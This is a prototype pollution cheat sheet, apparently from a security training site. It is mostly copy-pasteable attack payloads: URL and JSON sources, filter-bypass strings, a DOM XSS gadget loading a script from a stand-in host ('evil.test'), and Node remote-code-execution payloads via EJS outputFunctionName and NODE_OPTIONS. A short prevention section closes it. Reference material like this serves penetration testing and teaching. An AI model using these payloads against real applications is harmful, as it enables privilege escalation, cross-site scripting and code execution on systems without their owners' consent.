Prototype Pollution: The Complete Practical Guide
Prototype Pollution Cheat Sheet
A dense, copy-pasteable prototype pollution reference: source payloads, server JSON bodies, detection, sanitisation bypasses, and client and server gadgets.
Published
Every prototype pollution payload in one place. The core move never changes: write a property onto Object.prototype from a source, then let a later gadget read it into a sink. For the how and why behind each section, start at the prototype pollution guide. Lock it in on a free live target.
Client-side source payloads (URL to pollution)
?__proto__[polluted]=yes
?__proto__.polluted=yes
?constructor[prototype][polluted]=yes
#__proto__[polluted]=yes
#constructor[prototype][polluted]=yesThe URL only carries the key path. Pollution happens when vulnerable client code merges/assigns it. Dotted vs bracket depends on the parser; try both.
Server-side JSON body payloads
{ "__proto__": { "isAdmin": true } }
{ "__proto__": { "polluted": "yes" } }
{ "constructor": { "prototype": { "isAdmin": true } } }Send with
Content-Type: application/jsonto a body-merging endpoint (profile, settings, bulk import). After one request every object in the process inherits the prop until restart.
Proving the pollution (local sanity check)
JSON.parse('{"__proto__":{"polluted":"yes"}}'); // SAFE: own prop named __proto__, not a setter call
({}).polluted; // undefined after parse alone
merge({}, JSON.parse('{"__proto__":{"polluted":"yes"}}')); // the MERGE pollutes
({}).polluted; // -> "yes" (proof the prototype moved)
Object.prototype.polluted; // -> "yes"JSON.parse does NOT pollute. A later recursive merge/clone pollutes
Object.prototype(it recurses through__proto__into it). A shallowObject.assignonly re-parents the target object. Spread{...obj}is safe.
Detection (server-side, blind)
Pollute a property the framework reflects, then compare to a clean baseline:
status -> error responses return your custom code (e.g. 510) [reliable]
exposedHeaders -> value added to Access-Control-Expose-Headers (CORS) [reliable]
json spaces -> res.json() responses pretty-printed [Express < 4.18.0 only, patched]
Safest: pollute a unique benign canary prop and read it back via any reflection.{ "__proto__": { "status": 510 } }
{ "__proto__": { "json spaces": 9 } }Sanitisation bypasses
__proto__ blocked -> constructor[prototype][x]
dotted blocked, allow bracket -> __proto__[x] vs __proto__.x (parser-dependent)
single-pass __proto__ strip -> __pro__proto__to__ (removing the inner one leaves __proto__)
single-pass constructor strip -> constconstructorructor (independent payload, one per word)
array form -> ["__proto__"]["x"]
encoding -> %5f%5fproto%5f%5f (raw compare before decode)Client gadget to DOM XSS
# after polluting, a gadget reads the prototype prop into a sink:
let cfg = userConfig.transport_url; // own prop missing...
script.src = cfg; // ...inherits polluted URL -> attacker script loads
Pollute: ?__proto__[transport_url]=//evil.test/x.js
Pollute: ?__proto__[innerHTML]=<img src=x onerror=alert(document.domain)>Named gadgets:
hitCallback/sequence(PortSwigger gadget research);transport_urlis a common example gadget.
Server RCE gadgets (Node)
template gadget (reliable): pollute a compile option the engine concatenates into code.
EJS outputFunctionName (CVE-2022-29078, EJS before 3.1.7); Pug/Handlebars have compile-internal gadgets.
The NEXT render executes attacker code. (process.mainModule PoC form: CJS-entry only.)
child_process gadgets (two mechanisms):
shell / execArgv via the OPTIONS object -> hardened in modern Node (null-proto option clone)
NODE_OPTIONS via process.env (direct prototype key) -> survives that patch,
but --require needs a valid JS file (a writable path; /proc/self/environ needs a 2nd injection){ "__proto__": { "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');//" } }
{ "__proto__": { "NODE_OPTIONS": "--require=/tmp/x.js" } }
{ "__proto__": { "shell": "/bin/sh", "execArgv": ["--require=/tmp/x.js"] } } // older Node only; options route blocked >= ~v18.18/v20.6Impact: one pollution + one later benign render/spawn (on a vulnerable runtime) = code execution.
Prevention
- Use
Object.create(null)for any object used as a key/value map (no prototype to pollute), or useMap. - Replace unsafe deep-merge/clone helpers with versions that skip
__proto__/constructor/prototype. - Schema-validate request bodies and reject those keys recursively (allow-list first, since block-lists lose to
constructor.prototype). Object.freeze(Object.prototype)at startup blocks the common vector, but it is NOT complete (other prototypes remain, can break apps).- Keep Node, template engines, and merge/query/clone dependencies current.
Full detail in preventing prototype pollution. The client gadget sink is DOM XSS.